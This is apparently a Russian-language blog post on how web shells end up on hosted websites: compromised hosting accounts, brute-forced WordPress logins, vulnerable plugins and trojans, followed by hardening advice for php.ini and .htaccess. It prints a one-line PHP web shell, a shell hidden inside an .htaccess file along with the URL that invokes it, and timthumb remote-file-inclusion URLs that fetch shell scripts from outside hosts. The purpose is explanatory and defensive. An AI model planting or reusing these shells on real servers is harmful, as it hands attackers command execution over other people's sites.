Откуда на сайте появляются шеллы и вирусы


Что из себя представляет shell

А представляет из себя шелл, программную оболочку для взаимодействия с операционной системой сервера.

Что такое Shell

По просьбе одного читателя моего блога, я решил немного раскрыть суть вопроса:

Что такое шелл?  Где он прячется?? Когда Как заливается шелл??? Ну и конечно же, самый  наверное извечный больной вопрос: Что делать???!

Ну в общем, почти: Что? Где? Когда? Получается. :)

Begin

Shell это не что иное, как командный язык программирования в Unix подобных системах, способный управлять ОС на уровне выполнения системных команд.

Как правило, сам скрипт (шелл) может быть написан на любом языке (PHP, Perl, Python и др.), который поддерживает атакуемый сервер.

Шеллы и безопасность Web серверов

Здесь очень многое зависит от настроек конфигурации самого сервера. Естественно оптимальным решением вопроса безопасности интернет проекта, является использование выделенного сервера (дедика), при условии конечно же, наличия  грамотного администратора, который изменит настройки по умолчанию и выполняет всю необходимую работу по его конфигурации.

Тема безопасной конфигурации серверов несомненно интересна, но  данная статья немного о другом.

Справедливости ради, хочется заметить, что  такое удовольствие, как дедик, может позволить себе далеко не каждый желающий, ибо цена вопроса: велика!

В большинстве своем, для размещения своих интернет проектов, вебмастера используют шаред хостинги, т. е. общие. Поэтому, если сервер  настроен не очень грамотно с позиции безопасности, то взломав один сайт злоумышленник получает доступ к серверу, и соответственно всем сайтам, которые на нем располагаются.

Если же по какой-то либо причине, злоумышленнику не удается произвести удаленный взлом, то ему ничего не мешает зарегистрироваться (используя вымышленные данные) на интересуемом хостинге, (а многие из них предоставляют тестовый период), и спокойно (протестировать) исследовать сервер.

Вот по этому, как вы догадываетесь, абсолютной защиты просто нет, и быть не может.

shell script

shell script listing /etc/passwd

А для того, чтобы запретить PHP скриптам выполнять  системные команды, необходимо в php.ini добавить параметр disable_functions со значениями shell_exec, exec, system, passthru, popen, pcntl_exec и так далее, ведь по умолчанию,  все включено!

 Как заливают шелл на сайт

1. Взломав хостинг аккаунт, злоумышленник имеет полный  доступ к своему локальному каталогу, на котором размещаются скрипты сайта. При этом ему становятся доступны пароли к ftp, ssh и БД.

Поэтому рекомендуется использовать сложные, сгенерированные  пароли (ну если не доверяете своей фантазии :) ), и менять их необходимо не реже одного раза в месяц.  Один из возможных способов взлома аккаунта, представляет социальная инженерия.

2. Взлом панели администратора сайта. Буквально около месяца назад, одному моему знакомому пришло письмо от хостера, о том что проводится массовый перебор паролей админок на WordPress. В следствии чего, сознательным хостером были заблокированы скрипты входа.

Самым оптимальным способом защиты админки сайта является использование файла .htaccess. В котором необходимо создать аутентификацию на уровне веб сервера, и ограничить доступ по ip адресу. Для WordPress есть плагины, которые ограничивают количество неудачных попыток авторизации, с последующим выставлением бана, на определенное время.

3. Уязвимости в скриптах, т. е. программной среде используемой CMS.

Данный вопрос, наверное будет всегда актуальным, ибо любой код пишут люди, а совершенству, как известно нет предела. Далеко не все баги оказываются в паблике, поэтому наиболее оптимальным способом защиты своей CMS, является только регулярное обновление и максимальный минимализм используемых плагинов. Достаточно часто, уязвимости обнаруживаются именно в плагинах.

Пример заливки шеллa может выглядеть так:

/wp-content/themes/ваша_тема/img_x.php?src=http://flickr.com.чей-то_сайт.com/shellx.php
/wp-content/plugins/wp-pagenavi/timthumb.php?src=http://picasa.com.sites.com/jos.php

4.   Взлом пользовательского компьютера с помощью вирусов троянов. Далеко не все веб мастера используют для работы со своим интернет ресурсом ОС Linux. А под Windows ведь существует очень большое количество всевозможных руткитов, троянов, бэкдоров.

Здесь основной рекомендацией может быть только использование лицензионых, постоянно обновляемых антивирусных продуктов, таких как Kaspersky Internet Security и Agnitum Outpost. Также не стоит хранить пароли от ftp (и не только) в открытом, не зашифрованном виде, например в TotalCommander, а использовать менеджер паролей. Согласитесь, скопировать и вставить, не так уж и сложно.

Буквально на днях, я нашел свою старую прогу на Delphi, которую писал еще когда учился в инсте и  у меня, стояла Windows SP1. Это старое Win приложение, показывает пароли, которые спрятаны под звездочками, и писал я его на WinApi.

Больше всего, меня удивил тот факт, что она вскрыла пароли TotalCommander в лицензионной Windows 7 + Kaspersky Internet Security.

Я даже где-то в глубине себя, прочувствовал порыв, запостить эту тему в блоге, но немного подумав, решил этого не делать. Ибо после написания статьи о возможности взлома страницы вконтакте, меня просто одолели, как просящие оказать помощь, так и желающие ее предоставить.

Как будто у меня не личный блог, а доска объявлений. :)

Где может прятаться shell?

Для начала приведу пример простого шелла, который способен выполнять системные команды.

<?php passthru($_GET['command']); ?>

Т. е. достаточно всего одной строчки кода, для того чтобы выполнять системные команды на сервере.

Где можно спрятать эту строчку кода?

Да где угодно, хоть в jpeg изображении, текстовом файле readme.txt или базе данных.

Shell может прятаться даже в файле .htaccess

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
#<?php echo "\n";system($_GET['cmd']." 2>&1"); ?>

Если спрятать шелл в htaccess, то вызов системных команд через урл будет выглядеть так:

sites.com/.htaccess?cmd=ls -X

Как выбрать хороший и безопасный хостинг

Если быть честным, то после того, как я задал себе этот вопрос, первое что пришло мне в голову, это залить самый функциональный shell на свой хостинг, и посмотреть, что к чему. 😉

Ну а если серьезно, как минимум,  хостинг должен поддерживать настройку конфигурации в .htaccess, ограничивать область видимости файловой системы из скриптов сайта,  и запрещать выполнение системных команд.

Поэтому перед тем, как остановить свой выбор на хостенко, я тщательно все проверил во время тестового периода (14 дней), и сделал свой блог на WordPress именно здесь.

Настройки php.ini  можно посмотреть в phpinfo();

P.S. О том, как найти и удалить вредоносное ПО на сайте, а также защитить сайт от вирусов, я напишу в следующей статье.